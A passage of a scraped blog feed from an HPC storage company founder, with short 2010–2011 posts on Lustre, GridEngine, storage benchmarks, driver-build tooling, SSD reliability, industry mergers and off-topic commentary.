https://blog.scalability.org/2011/01/day-job-pr-jrti-and-scalable-informatics-form-strategic-partnership/ Wed, 19 Jan 2011 04:25:45 +0000 https://blog.scalability.org/2011/01/day-job-pr-jrti-and-scalable-informatics-form-strategic-partnership/ Will be up on the day job site tomorrow. We are very excited by these developments, and look forward to a productive relationship JRTI and Scalable Informatics Form Strategic Partnership to Provide High Performance Storage and CPU & GPU Clusters to Organizations Seeking Exceptional Results Richmond, Virginia (January 18, 2011)-James River Technical, Inc (JRTI), specialists in accelerated and HPC solutions for the higher education, research, government, and commercial market segments, has entered into a reseller agreement with Scalable Informatics (Scalable) to provide Storage and HPC solutions throughout North America. https://blog.scalability.org/2011/01/this-is-good-news/ Tue, 18 Jan 2011 15:12:11 +0000 https://blog.scalability.org/2011/01/this-is-good-news/ Univa grabs GridEngine. Specifically: Hat tip to Chris D for pointing it out. This directly addresses one of my major concerns on the longevity of GE. It also makes me feel a bit safer about using/deploying GE for users/customers. Specifically, if a committed and large/stable enough OSS project and/or committed company were to drive this, engage and work with the community to grow it, yeah … I am comfortable with this. https://blog.scalability.org/2011/01/call-it-what-it-is/ Sat, 15 Jan 2011 05:07:39 +0000 https://blog.scalability.org/2011/01/call-it-what-it-is/ Saw this on /. Paraphrasing Shakespeare, a fork by any other name … Look … I appreciate that no one wants to call this a fork. Oracle has seemingly abandoned the project and is shopping ownership of the IP around. The choices ahead of the community are find someone to buy the IP, and rally to their leadership, ignore the IP, rename the project and fork it. You could always pretend that the IP isn’t an issue, that no fork is needed, and then have to do some serious rhetorical contortions to explain why your release isn’t a fork. https://blog.scalability.org/2011/01/interesting-poll-on-lustre-futures/ Fri, 14 Jan 2011 21:38:05 +0000 https://blog.scalability.org/2011/01/interesting-poll-on-lustre-futures/ See here on LinkedIn. In case you can’t see it, the premise of the question is “Would you buy storage based on Lustre”, and it specifically points to Rich B’s article at InsideHPC. Choices are Yes, still Lustre No, I’d choose Panasas No, I’d choose GPFS No, I’d choose Gluster No, another solution Its a small, self selecting, and probably badly biased sample, but whats interesting is that about 20% each seem like they would choose Lustre, Panasas, or another solution and about 40% would choose GPFS, with no one choosing Gluster. https://blog.scalability.org/2011/01/its-nice-to-see-people-seeing-what-weve-been-predicting/ Fri, 14 Jan 2011 16:39:48 +0000 https://blog.scalability.org/2011/01/its-nice-to-see-people-seeing-what-weve-been-predicting/ I could pat my own back on this … no really, I could. Wouldn’t be hard. I’ve been talking for a long time about how the HPC market will likely evolve. Hidden within this is how to grow as a business … serving this need. We’ve been predicting that the cloud HPC model will reduce the number of new clusters deployed. Basically, acquisition costs for running a cluster are large, as well as the lifetime costs. https://blog.scalability.org/2011/01/ot-ouch/ Wed, 12 Jan 2011 14:46:08 +0000 https://blog.scalability.org/2011/01/ot-ouch/ Not that cnbc is the bastion of correct/reliable/accurate reporting, but this article definitely hurts. The “American dream” has been to own your own house. We bought ours 13 years ago, with a 30 year mortgage. Refinanced 6 years ago to a 20 year mortgage, with the same payments. We assumed the value of the house would be increasing or at worst, staying the same. Last I checked on a few real estate sites, we are “underwater or upside-down” on the mortgage. https://blog.scalability.org/2011/01/worth-asking-again-does-lustre-have-a-future/ Wed, 12 Jan 2011 06:28:42 +0000 https://blog.scalability.org/2011/01/worth-asking-again-does-lustre-have-a-future/ This is going to sound like a strange question to ask. Yes … I know it is a strange question to ask given the events of the past few months. A long while ago, I postulated that Lustre’s future was (no pun intended) cloudy at best. That Sun/Oracle had an uncertain level of commitment to it, and Larry Ellison is a business man, and doesn’t run a charity … there aren’t any freebees he is likely to fund forever. https://blog.scalability.org/2011/01/i-had-read-it-right/ Wed, 12 Jan 2011 05:52:02 +0000 https://blog.scalability.org/2011/01/i-had-read-it-right/ A partner was working with us on an opportunity. At some point in the process, the customer tripped my alarms. This was going well into 2x4 material (e.g. our proposal wasn’t going to be seriously considered). I shared my thoughts with the partner. They wanted to press ahead. Sure enough, we got word of our 2x4-ness today. Nice to know we helped a customer beat a competitor up. Well, no, not really. https://blog.scalability.org/2011/01/some-nice-announcements-coming-out-next-week/ Fri, 07 Jan 2011 18:57:00 +0000 https://blog.scalability.org/2011/01/some-nice-announcements-coming-out-next-week/ from the $day job. Stay tuned. https://blog.scalability.org/2011/01/the-bandwidth-wall-aka-a-19-2-tb-write-sprint-how-fast-can-your-storage-do-it/ Fri, 07 Jan 2011 18:54:40 +0000 https://blog.scalability.org/2011/01/the-bandwidth-wall-aka-a-19-2-tb-write-sprint-how-fast-can-your-storage-do-it/ [root@jr5-lab ~]# fio sw.fio Run status group 0 (all jobs): WRITE: io=19,200GB, aggrb=2,323MB/s, minb=2,379MB/s, maxb=2,379MB/s, mint=8463222msec, maxt=8463222msec Thats 8463.2 seconds to you and me. 2.351 hours. 8.17TB/hour And we didn’t even fill the unit up. This is what we mean by a low bandwidth wall. You can conceivably read/write the entire storage in a time comparable to single hours. If your platform can’t handle this (and most can’t), then you have a very high wall erected between you and your data. https://blog.scalability.org/2011/01/lab-jr5-quickie-benchmarks/ Fri, 07 Jan 2011 15:32:44 +0000 https://blog.scalability.org/2011/01/lab-jr5-quickie-benchmarks/ I’ve seen some clustered file system results a few months ago where the vendor was happy to sustain something like 1.4 GB/s during their IO operations, and called this good. Something like 60 disks. Lustre, and some other bits. Their approach (and most people’s approach) in this space is to start with a bunch of demonstratably slow servers/disks, and aggregate them. Which eventually gets you to the performance you are looking for, albeit with low performance density, large expenditure of capital, large investment in space/power/cooling. https://blog.scalability.org/2011/01/interesting-reentre-into-the-desksideserver-side/ Wed, 05 Jan 2011 23:29:38 +0000 https://blog.scalability.org/2011/01/interesting-reentre-into-the-desksideserver-side/ I had expected NVidia to do something. AMD and Fusion. Intel with AVX(Larabee, et al.) and integrated video. NVidia had to either develop its own processor, buy a design/company, or fight a battle in the future it would likely lose … not due to the quality of the competitors or their parts, but simply because the deck was stacked against it. Their direction is interesting. Going ARM and a fusion like thing as a CPU + GPU (though I doubt they will call it an APU … they are all about the APU … where A==G). https://blog.scalability.org/2011/01/as-good-as-my-2x4-detector-is-its-still-not-perfect/ Wed, 05 Jan 2011 20:57:24 +0000 https://blog.scalability.org/2011/01/as-good-as-my-2x4-detector-is-its-still-not-perfect/ We don’t like being used as a 2x4 (two-by-four) … basically a heavy chunk of wood used to beat someone into submission. Some of the surest signs of 2x4-dom are when we are asked for an onsite loaner. The theory behind this is supposed to be that a customer will evaluate a unit in their environment, give it a rigorous going over, and then make a purchase decision based upon that. https://blog.scalability.org/2011/01/churchillian-thoughts-about-grub/ Wed, 05 Jan 2011 19:27:54 +0000 https://blog.scalability.org/2011/01/churchillian-thoughts-about-grub/ Ahh … grub. That boot loader. The one that … after interacting with … you wish you didn’t have to. Just had some fun a few minutes ago on a Lustre upgrade. Some of the grub tools are slightly broken, many are horribly, irretrievably borked. And they will do bad things to you. To your disk. Paraphrasing Churchill, grub is the worst bootloader, except for all the rest. I’ll argue that its marginally better than lilo. https://blog.scalability.org/2011/01/projects-for-the-new-year/ Wed, 05 Jan 2011 12:52:01 +0000 https://blog.scalability.org/2011/01/projects-for-the-new-year/ Some near term … some far term. Pragmatic projects: Dust. Almost to the point where I am happy releasing it. Will have ~6 driver packs, a spec, a user tool, and a roadmap when I am done. Think of it as a DKMS that works, and what it could have been. Lustre. We have operational Lustre builds from the git tree, though these are 2.x builds, and not 1.8.x builds. https://blog.scalability.org/2011/01/goodbye-gridengine/ Mon, 03 Jan 2011 22:41:42 +0000 https://blog.scalability.org/2011/01/goodbye-gridengine/ Well, sort of. Its morphed, into something not quite open source, with not enough of a community around it to sustain it from a development sense, as the corporate owner goes their own direction. I understand their decision, and I respect it … its their (Oracle’s) IP. I don’t have to like it though. So we are migrating our internal queueing to Torque for the moment. Thinking about Slurm. Basically all of this will be hidden behind some of our tools, but still … we’ve been using SGE since before it was Sun’s (or Grid Engine). https://blog.scalability.org/2010/12/changing-commenting/ Thu, 30 Dec 2010 18:48:44 +0000 https://blog.scalability.org/2010/12/changing-commenting/ Quick note: Spammers are attempting to abuse the system, so I am implementing some measures to reduce this. https://blog.scalability.org/2010/12/ot-watching-the-empire-strikes-back-and-wondering-if-vader-meant-this/ Sat, 25 Dec 2010 20:07:30 +0000 https://blog.scalability.org/2010/12/ot-watching-the-empire-strikes-back-and-wondering-if-vader-meant-this/ Google your feelings Luke … [ ](http://scalability.org/images/search_your_feelings_Luke.png) The HPC tie in was the significant use of some computing power for rendering by George Lucas and company to provide some of the special effects. Aside from this, I am sure Vader didn’t mean “google your feelings, Luke” … https://blog.scalability.org/2010/12/ot-as-if-the-previous-attacks-on-the-nsf-werent-enough/ Fri, 24 Dec 2010 14:05:36 +0000 https://blog.scalability.org/2010/12/ot-as-if-the-previous-attacks-on-the-nsf-werent-enough/ There is this. The problem is, fundamentally, any program requesting money from the government becomes a political football. So the NSF or NIH programs are open to scrutiny. That part is fine. Pulling lawyer tricks to selectively (mis)quote? Not so fine. Its bad enough when AGW activists incorrectly opine that the science is settled, and make a mockery of those with the temerity to question the “settled” science. Its just as bad when the partisans in government misuse grant information to attack small programs as being wasteful, without a deeper understanding of the context and value of these programs. https://blog.scalability.org/2010/12/ot-faux-curity-gone-horribly-awry/ Fri, 24 Dec 2010 13:51:32 +0000 https://blog.scalability.org/2010/12/ot-faux-curity-gone-horribly-awry/ Call this, “shooting the messenger”. Call this, pointing out glaring flaws. Call this … well … for what it is … disgusting. It begs the question whether or not this is the US, or the USSR. Don’t anger the government by pointing out the flaws in one of their systems. There’s a series of ironic humor jokes, ones that aren’t that funny, but more ominous, that start out “In Soviet Union, …. https://blog.scalability.org/2010/12/wondering-out-loud-here-bear-with-me/ Thu, 23 Dec 2010 04:45:41 +0000 https://blog.scalability.org/2010/12/wondering-out-loud-here-bear-with-me/ After the last post on Atrato, I am thinking that VC money might be better invested in proven real businesses. Those that have survived a number of years, though hardship and through growth. There is less risk there. Ok, the VC model is fundamentally built upon taking a risk on a company. As the spate of failures in (many) markets shows, rewards are far and few between, while risks aren’t seemingly ameliorated by what the VCs do. https://blog.scalability.org/2010/12/and-atrato-goes-under/ Thu, 23 Dec 2010 03:27:05 +0000 https://blog.scalability.org/2010/12/and-atrato-goes-under/ Who, you might ask, is Atrato? A few years ago, they were pushing some sealed units that did “self healing”. That is, you never had to replace hard disks. They had some nice features, some venture money. What they never really got was traction. The concept was interesting, but as with all sealed and extremely proprietary designs, they weren’t able to convert their supposed advantages into sales. This can happen for many reasons. https://blog.scalability.org/2010/12/saying-no/ Wed, 22 Dec 2010 00:36:56 +0000 https://blog.scalability.org/2010/12/saying-no/ Sometimes the sales process delves into the ridiculous. This is when the value proposition has failed, and the customer starts asking for bill of materials. Imagine if you will, apart from the ingredients listed on a package of food, you asked the vendor of said food to describe the exact amounts, the source of each (brand, sku or part number, …), the make and model of your oven, the make and model of everything you will use in the preparation of said food. https://blog.scalability.org/2010/12/advantages-of-michigan-usa-for-hpc-and-data-centers/ Tue, 21 Dec 2010 23:14:10 +0000 https://blog.scalability.org/2010/12/advantages-of-michigan-usa-for-hpc-and-data-centers/ itssssss freaking cccccoooolllddddd Open the doors, let the outdoor air in. Our heater is running in the lab (large warehouse-like space). Can’t wait to start running the 5 ton AC unit next year. Right now, we have natural AC. Seriously … nice area for many reasons (low costs all around), and with some cleverness in the cooling/heating work, you could significantly reduce overall yearly heating/cooling costs … https://blog.scalability.org/2010/12/should-give-everyone-pause-and-force-a-serious-consideration-of-the-risks-of-cloud-and-hosting/ Mon, 20 Dec 2010 14:23:10 +0000 https://blog.scalability.org/2010/12/should-give-everyone-pause-and-force-a-serious-consideration-of-the-risks-of-cloud-and-hosting/ See this article. Yes, this deals with a hosting data center, but notice that some of the companies swept up in the sting’s removal of machines, had “cloud” projects of varying types. This gets to risk of hosting or projecting important aspects into the cloud. I am not saying “don’t do it.” On the contrary, I’d say make sure you have a backup of your data and functions in such a way that you can trivially switch between services. https://blog.scalability.org/2010/12/i-wish-cloning-were-legal-in-michigan-and-wish-it-worked/ Mon, 20 Dec 2010 07:03:50 +0000 https://blog.scalability.org/2010/12/i-wish-cloning-were-legal-in-michigan-and-wish-it-worked/ To code or not to code … that is the question. Seriously … my time is a zero sum game. I can’t run as many threads on my CPU as I wish … its hard to code and debug and sell and service all at once. Gonna have to get some hiring going. Or some cloning. Gaak … https://blog.scalability.org/2010/12/how-to-deliver-an-application-to-end-users-which-depends-upon-things-they-dont-have/ Mon, 20 Dec 2010 02:22:00 +0000 https://blog.scalability.org/2010/12/how-to-deliver-an-application-to-end-users-which-depends-upon-things-they-dont-have/ This is the question I have for dust. Almost ready for initial release. Fixed most everything, and the one thing we are “punting” on is actually less being punted and more being worked around until we can get a better solution in place. The spec’s for it will be on the site too soon. Ok … so assume a pure Redhat or Centos system (will work with others as well) for the moment. https://blog.scalability.org/2010/12/computer-terms-applied-to-er-other-devices/ Mon, 20 Dec 2010 01:24:32 +0000 https://blog.scalability.org/2010/12/computer-terms-applied-to-er-other-devices/ Saw a link to this at troglopundit after hearing that the Detroit Lions had somehow miraculously, won another game. Restore the roar [ ](http://troglopundit.wordpress.com/about/computertechnology/) Heh! (don’t know if I agree with the reading material on the lower left … we have lots of kids books, fiction, histories, and other as our “supplementary data” … to each their own). Follow the link (if you dare) by clicking on the image. This will take you to the page it was on (where I found it linked from after the search), where they have the Zombie food group. https://blog.scalability.org/2010/12/ot-a-good-concept-with-a-really-bad-initial-approach/ Sat, 18 Dec 2010 16:16:36 +0000 https://blog.scalability.org/2010/12/ot-a-good-concept-with-a-really-bad-initial-approach/ See this. The concept, review programs for something potentially wasteful, is great. Thats wonderful. Looks like @GOPWhip was busy getting concepts together. Whats really bad about this? It starts out targetting the NSF, which is a miniscule … tiny … fraction of the federal budget, and one of the only aspects of the federal budget that has a net ROI. We get positive impact from this investment. Which apart from the NIH and a few other programs, we don’t get in general from government expenditure. https://blog.scalability.org/2010/12/i-have-to-admit-the-hardest-thing-about-this-business-is-getting-closure/ Fri, 17 Dec 2010 18:07:41 +0000 https://blog.scalability.org/2010/12/i-have-to-admit-the-hardest-thing-about-this-business-is-getting-closure/ This is more of a business general issue than an HPC business issue per se. We have lots of conversations with customers. We do lots of RFP responses. And we win some and we lose some. But the thing I find hardest to deal with are potential customers going mute for long durations. Maybe there is nothing to report, maybe people don’t want to speak after making their decisions. Whatever the reason. https://blog.scalability.org/2010/12/ot-faux-security/ Fri, 17 Dec 2010 17:19:59 +0000 https://blog.scalability.org/2010/12/ot-faux-security/ Sigh. money quote Yeah, these are older data, but the problem is … The Walmartization of security. and then So … they seem to have not noticed that these new techniques and machines … don’t really help. Our tax dollars at work. https://blog.scalability.org/2010/12/hpc-sales-as-a-participant-in-a-horror-show/ Wed, 15 Dec 2010 22:08:44 +0000 https://blog.scalability.org/2010/12/hpc-sales-as-a-participant-in-a-horror-show/ So we have a number of customers looking at particular configurations. Like many others, they get quotes from all over. Including from companies that don’t really have the slightest clue about what is being asked of them. Which means, we as often as not, get quotes tossed back to us with a note saying “you are at too high a price”. While the quotes they are comparing to aren’t even meeting the basic spec. https://blog.scalability.org/2010/12/ot-disappointed-with-the-firewall-distros-ive-looked-at/ Wed, 15 Dec 2010 20:40:58 +0000 https://blog.scalability.org/2010/12/ot-disappointed-with-the-firewall-distros-ive-looked-at/ We’ve been looking at building a gateway/firewall machine, with load balancing, failover, and many other nice features. For security purposes, we’ve wanted to run it in a very particular way. All the distributions we’ve tried: clearOS, Vyatta, Endian, IPFire, Zentyal … all of them … sorta … kinda … did what we wanted. Sorta. Kinda. But not quite. ClearOS never worked. I mean it installed, configured, but it could never pass packets correctly. https://blog.scalability.org/2010/12/jr4dv4-design-change/ Wed, 15 Dec 2010 14:58:15 +0000 https://blog.scalability.org/2010/12/jr4dv4-design-change/ Basically we have changed the chassis we use to one providing better cooling, and better OS drive access. In the case of the JR4, we should have better backplane fault isolation, at the cost of a few more wires to deal with internally (e.g. shouldn’t impact customers at all). Costs will be about the same, but serviceability will be easier. All fans are hot swappable, as are power supplies, and disks, including OS drives. https://blog.scalability.org/2010/12/treating-partnerships-as-business-investments/ Mon, 13 Dec 2010 21:26:14 +0000 https://blog.scalability.org/2010/12/treating-partnerships-as-business-investments/ We’ve had issues in the past with ‘partners’ taking advantage of our willingness to work with them, in order to have everyone come out ahead … the customer, the partner, and us. This approach to partnership means all sacrifice a little, but everyone wins. Unfortunately, it also requires that everyone behave in an honest manner, honor their agreements. We are treating all discount requests as a partnership request. A customer wants a lower price on something. https://blog.scalability.org/2010/12/ma-dell-grabs-compellent/ Mon, 13 Dec 2010 20:10:27 +0000 https://blog.scalability.org/2010/12/ma-dell-grabs-compellent/ I had an inkling that this might come to be. Compellent makes filer heads that connect to storage arrays on the back end. Units are thin provisioned with lots of tiering and migration bits built in. Compellent isn’t an HPC play. Really they are more an enterprise-y type of play. I do know a few Compellent people (hi Russ!), and the products will fill a hole in the Dell line. However, there are still other holes to fill, so I expect Dell to continue down its M&A; path. https://blog.scalability.org/2010/12/fixing-a-few-bugs-in-dust-before-release/ Mon, 13 Dec 2010 05:36:07 +0000 https://blog.scalability.org/2010/12/fixing-a-few-bugs-in-dust-before-release/ Hit a corner case that resulted in a strange DB entry. Fixing that, and the installation initrd, and the initramfs/initrd build. Expect to release tomorrow. https://blog.scalability.org/2010/12/added-some-bandwidth-to-main-site/ Sun, 12 Dec 2010 17:04:16 +0000 https://blog.scalability.org/2010/12/added-some-bandwidth-to-main-site/ We just updated our company internet connection. About 3.5x better download speed, about 6x better upload speed. Its on a multi-wan router, with second different technology path being slower and less expensive, but with a 5 second cutover. Something bad happens to one path, the other takes over. This happens seamlessly, most users won’t notice this as DNS is roundrobin’ed. This said, our multi-wan router is now a bottleneck. I’ve been looking at replacing it with either a faster appliance machine based multi-wan router, or a small Delta-V unit with enough NICs. https://blog.scalability.org/2010/12/docs-wiki-back-up/ Sun, 12 Dec 2010 16:49:18 +0000 https://blog.scalability.org/2010/12/docs-wiki-back-up/ That was annoying. The update/upgrade path effectively wrote over the old configs without telling me. Snapshot script is up, and we will set up for weekly snapshots, and then deletion of the same after 12 weeks. Did I mention that this was annoying? On another note, we’ve had requests to refine/update the documentation, and we are doing that now. This is a work in progress, always will be, but we expect the docs to get much better in short order. https://blog.scalability.org/2010/12/rethinking-the-documentation-wiki-underpinnings/ Thu, 09 Dec 2010 03:54:33 +0000 https://blog.scalability.org/2010/12/rethinking-the-documentation-wiki-underpinnings/ We updated the documentation server last week, and the wiki software, updated by the folks who write it, broke. I’ll try a few more things to fix it tomorrow/friday, but at some point I have to question my choice of wiki software. If the open source version breaks like this with a simple yum update, I don’t have much faith that the closed source variant with more features won’t break. So I am looking into foundation/large group led efforts. https://blog.scalability.org/2010/12/back-from-my-texas-trek-and-assorted-bits/ Thu, 09 Dec 2010 03:39:41 +0000 https://blog.scalability.org/2010/12/back-from-my-texas-trek-and-assorted-bits/ Was in Dallas, College Station, and then Austin. I am starting to get concerned that hosting providers may not have the capability to work on machines beyond the level of popping out failed disks and replacing them. They appear to not be able to provide the level of service that our customer assured us that they could provide. Went down there and saw some terrible things done to some power connectors. https://blog.scalability.org/2010/12/dust-just-built-and-installed-its-first-module-successfully-without-issue/ Sat, 04 Dec 2010 22:20:10 +0000 https://blog.scalability.org/2010/12/dust-just-built-and-installed-its-first-module-successfully-without-issue/ A few more things to do … we need a “make clean” like thing, and maybe a “make prepare” like thing. And we need to trigger a mkinitrd at the end when requested. Major things are the init.d script, but all it does is call a Yeah, we are trying to make this really simple. Really really simple. And make sure it works. Really works. Here is output with the –generate and –debug options. https://blog.scalability.org/2010/12/ot-economy-so-what-should-we-think-about-this/ Sat, 04 Dec 2010 17:38:44 +0000 https://blog.scalability.org/2010/12/ot-economy-so-what-should-we-think-about-this/ I saw this today linked from DrudgeReport. In it we see a graph of auto company financing arms borrowing from the US Federal reserve. These are lending institutions. During the credit crisis (and I’ll argue now as well), credit dried up. Banks wouldn’t loan money. We ran into this ourselves a number of times. Required some creative action on our part. Not everyone was so lucky. But we are small, and not impacting a big part of the economy. https://blog.scalability.org/2010/12/where-weve-been-and-where-we-are-going/ Sat, 04 Dec 2010 16:22:34 +0000 https://blog.scalability.org/2010/12/where-weve-been-and-where-we-are-going/ Last year around this time, I wrote a long set of posts on HPC in the first decade of the millenium. Posts start here (there are 7). I am gathering some of my thoughts together for an article. Its been an interesting year, with changes coming in both continuous and discontinuous (creative destructive) manners. We do live in interesting times, and I’ll try to detail what directions I see us going in. https://blog.scalability.org/2010/12/are-expectations-being-set-properly/ Sat, 04 Dec 2010 16:13:26 +0000 https://blog.scalability.org/2010/12/are-expectations-being-set-properly/ This past week, I looked over a set of proposals from some academic groups. One of these proposals was attempting to budget for a particular design. What I noticed here was a tendency to do something … well … that badly misstates actual real costs of things, and substitutes them with something easy to find without any regard for the actual real costs of implementing the service. At the end of the day, IT is about providing processing, storage, and data interchange in the service of a task that can make effective use of the resources. https://blog.scalability.org/2010/12/dust-shaping-up-nicely/ Sat, 04 Dec 2010 15:52:19 +0000 https://blog.scalability.org/2010/12/dust-shaping-up-nicely/ Hooking in some execution management bits. Most everything else is working. I could skip the fancy execution management, and just fork, but I want to be able to do a better job of logging and capturing output/signals. More to the point, with the bits I’ve got in place now, dust should be able to do the builds in parallel (everyone say “ooh” now). The only impediment to this could be RPM if you use it here. https://blog.scalability.org/2010/12/and-the-hits-keep-on-coming/ Fri, 03 Dec 2010 18:22:25 +0000 https://blog.scalability.org/2010/12/and-the-hits-keep-on-coming/ Our documentation site is based upon wiki software from Mindtouch. I’ve liked their interface, it isn’t bad at all. It allows us to tier our content access, which is very important for our support models. In an effort to keep the site up to date, I did a yum -y update and it went through and updated. Including the wiki. Unfortunately, the new software has some terminal breakage. So, until we can unwind the breakage (or reform the site), the site will be down. https://blog.scalability.org/2010/12/disappointment-on-a-friday/ Fri, 03 Dec 2010 13:47:03 +0000 https://blog.scalability.org/2010/12/disappointment-on-a-friday/ We work very hard for our customers. We take lots of lumps for our suppliers. Its our boxen, so if their stuff occasionally fails in our boxen … well its obviously our fault. Right? I am not disclaiming responsibility … we take ownership of every problem. So now imagine you are a customer, and you have a vendor who sends you (proactively) multiple sets of replacement SSDs. Walks you through the process of swapout. https://blog.scalability.org/2010/12/twitter-updates-for-2010-12-03/ Fri, 03 Dec 2010 11:05:00 +0000 https://blog.scalability.org/2010/12/twitter-updates-for-2010-12-03/ * Strange personality traits: for some reason, I like listening to techno stuff while coding, and death/thrash metal while quoting ... hmmm [#](http://twitter.com/sijoe/statuses/10477947920060417) * Just read the arsenic bits. Now only if we can get gallium involved, my dissertation could have ... er ... applicability to something ... [#](http://twitter.com/sijoe/statuses/10478276933844993) Powered by Twitter Tools https://blog.scalability.org/2010/12/the-beginnings-of-dust/ Thu, 02 Dec 2010 05:15:01 +0000 https://blog.scalability.org/2010/12/the-beginnings-of-dust/ So, as you might have seen from previous posts … I couldn’t fix what was broke in DKMS. We have some customers that insist upon the functionality, and we can’t fix the tool. So, rather than trying to force them to rerun our driver update scripts, we are automating the process. The idea is to make the whole process as easy as possible. Most of the management bits are done, the build bits come tomorrow. https://blog.scalability.org/2010/12/a-plea-for-sanity-in-driver-module-versioning/ Thu, 02 Dec 2010 04:52:47 +0000 https://blog.scalability.org/2010/12/a-plea-for-sanity-in-driver-module-versioning/ Imagine you are working on a tool to figure out some driver module bits. Now imagine you need to parse driver version info bits. Imagine, much to your chagrin, you discover that … well … there is nothing close to a standard nomenclature. Imagine your horror thinking about all those hours you wasted on the clever –sanity switch which would sanity check what you have against whats in there. Now imagine being grumpy about this. https://blog.scalability.org/2010/12/sc10-video-is-up/ Wed, 01 Dec 2010 13:36:51 +0000 https://blog.scalability.org/2010/12/sc10-video-is-up/ At InsideHPC, you can see me at the end of Wednesday night, trying to string words together sitting next to Rich Brueckner. Video turned out good. The laptop is my box (dude, I got a Dell!), and the little white thingy on the right with the blinking LED is the network connection. SC10 is a great place for supercomputing, and a terrible place for wifi. I find this curious … that we HPC types can’t seem to stand up wifi that scales to 14k people … :) The siCluster-NAS demo was done remotely (this is a good model for SC … making me think …). https://blog.scalability.org/2010/11/ive-come-to-the-conclusion-that-dkms-is-broke/ Tue, 30 Nov 2010 22:03:06 +0000 https://blog.scalability.org/2010/11/ive-come-to-the-conclusion-that-dkms-is-broke/ After installing DKMS enabled drivers, and watching them not rebuild correctly on an update. At this point I think its worth replacing DKMS with something that does work. https://blog.scalability.org/2010/11/seeing-strong-demand-for-large-memory-systems/ Sun, 28 Nov 2010 14:45:59 +0000 https://blog.scalability.org/2010/11/seeing-strong-demand-for-large-memory-systems/ We have multiple customers asking for systems with Intel Xeon 3+ GHz cores and 512+ GB of ram. Not just in financial services, but in engineering (NVH and other computing). Interesting development, and its nice to see this interest. It doesn’t hurt these large computing systems to have huge pipes to IO as well. This is a welcome development for us. https://blog.scalability.org/2010/11/ot-the-theater-keeps-getting-more-absurd/ Wed, 24 Nov 2010 13:42:03 +0000 https://blog.scalability.org/2010/11/ot-the-theater-keeps-getting-more-absurd/ Like many other things today, this is a comedic horror show. Its god aweful, but you just can’t stop watching, and shaking your head. Apparently 70+% of US citizens want Israeli style airport security … which … curiously … works well. What we get instead is this. Scanning someone … who is entering the country, after having flown into the country? Really? What … they might bring nail clippers in and pollute our hotel rooms with dropped clippings? https://blog.scalability.org/2010/11/power-outage-at-day-job-2/ Tue, 23 Nov 2010 16:32:13 +0000 https://blog.scalability.org/2010/11/power-outage-at-day-job-2/ Running the main server on the generator (UPS connected). Gotta love DTE. Was down this morning, came back, of course lots of work to get done. Then we heard a big bang. Lights flickered and went down. Oddly, one of our circuits is live. The rest aren’t but one is. Found it as the coffemaker light was on. Sheesh. Will probably set up a backup site on the same machine that runs this site. https://blog.scalability.org/2010/11/interesting-reading-on-ssd-reliability/ Tue, 23 Nov 2010 06:32:26 +0000 https://blog.scalability.org/2010/11/interesting-reading-on-ssd-reliability/ Been researching this more. The questions I am asking now are, are the MTBF numbers believable? Are their bad batches of NAND chips … SLC, MLC? What failure rates do people see with SLC? We have seen failures in both SLC and MLC units. MLC is generally indicated to be less reliable than SLC. I am specifically looking for failure information. What I am finding is concerning me. Generally, among all controller chips out there, there seem to be a number of people reporting sudden failures in 2-3 month windows. https://blog.scalability.org/2010/11/more-ma-novell-sold-itself-to-attachmate/ Tue, 23 Nov 2010 04:56:37 +0000 https://blog.scalability.org/2010/11/more-ma-novell-sold-itself-to-attachmate/ This is interesting. This is a new line of business for Attachmate, they aren’t in OSes, NOS, and other things directly related to this. I don’t quite understand the rationale behind the acquisition. I need to look at that one more. Best guess is that Attachmate is really a holding company with a loose connection of holdings, with not significant overlap. In conjunction with this, Novell sold 882 patents to Microsoft. https://blog.scalability.org/2010/11/expectations-set-incorrectly/ Tue, 23 Nov 2010 03:23:35 +0000 https://blog.scalability.org/2010/11/expectations-set-incorrectly/ So I wonder if we should be thinking that SSDs shouldn’t fail as often as spinning disk. That is, SSDs don’t have moving parts, and so are much less subject to mechanical wear and tear as they are used. But they do fail. Every brand of SSDs we have used, every one, including Intel, Corsair, RiData, Mushkin … every one, we have seen failures. Some have been absolutely ridiculous in scope (Corsair), some have been mostly due to changes in their mechanical design (RiData) as well as unit failures. https://blog.scalability.org/2010/11/wrasslin-with-dkms/ Mon, 22 Nov 2010 16:26:01 +0000 https://blog.scalability.org/2010/11/wrasslin-with-dkms/ Turns out Centos isn’t quite exactly equivalent to Redhat, as far as DKMS goes. Don’t ask me why, I am having a hard time figuring it out right now. We are trying to not re-invent a wheel and use the Dell developed DKMS system. We want driver rebuilds to trigger on kernel updates when needed. But … while it works correctly with a simple dkms.conf on Centos 5.5, the same thing doesn’t seem to work on RHEL 5. https://blog.scalability.org/2010/11/sicluster-nas-was-announced-at-sc10-but/ Sat, 20 Nov 2010 20:36:17 +0000 https://blog.scalability.org/2010/11/sicluster-nas-was-announced-at-sc10-but/ [updated] Its up on InsideHPC, and showing up on the PR sites now. One of these days I’m gonna learn to do this stuff earlier … … looks like it didn’t make it out some of the PR and news sites (I submitted it late to InsideHPC, and Rich Brueckner was positively inundated with bits, so its possible it may show up later). So the PR is here, and we’ll have the reseller/contact list up shortly. https://blog.scalability.org/2010/11/ot-theater-of-the-absurd/ Sat, 20 Nov 2010 20:16:11 +0000 https://blog.scalability.org/2010/11/ot-theater-of-the-absurd/ [update after the fold] Having just been through travel to SC10, and been put through the body scanner, the metal scanner, but thankfully no pat downs, I did see some of the more … aggressive … inspections in the beginning phases. Bruce Schneier has a long post on this, including many many links. I am not sure I want my family to go through this. I am not happy with it, and to be frank, I remain unconvinced that this is better than the null hypothesis, that is, not doing these invasive searches. https://blog.scalability.org/2010/11/mergers-and-acquisitions-isilon-eaten-by-emc/ Sat, 20 Nov 2010 16:27:29 +0000 https://blog.scalability.org/2010/11/mergers-and-acquisitions-isilon-eaten-by-emc/ Yes, its old news now … announced Tuesday morning, and this is Saturday. Isilon, a maker of scale out NAS units (which hadn’t been spectactularly profitable … they had some issues in the recent past) has growing business in Bio-IT and other areas. They are a player in HPC storage for clusters. EMC hasn’t really been a player in HPC for a while. In the past, some groups have tried to use EMC as the storage provider for HPC, but the economics and performance aren’t a good fit for most of their product line. https://blog.scalability.org/2010/11/a-fork-in-the-lustre-road/ Sat, 20 Nov 2010 16:01:24 +0000 https://blog.scalability.org/2010/11/a-fork-in-the-lustre-road/ I’ve been waiting a while to post this, to see how things develop. Lustre does indeed have a future. The question is, will Oracle cede control over Lustre, or will it be forked by OpenSFS/WhamCloud/Xyratec ? A few short months ago, its future was cloudy at best. Oracle isn’t seemingly interested in HPC, except where it matters for the database side of things. So most things HPC specific (with little possible alternative use cases) have been given the heave-ho. https://blog.scalability.org/2010/11/on-the-state-of-microsofts-hpc-effort/ Fri, 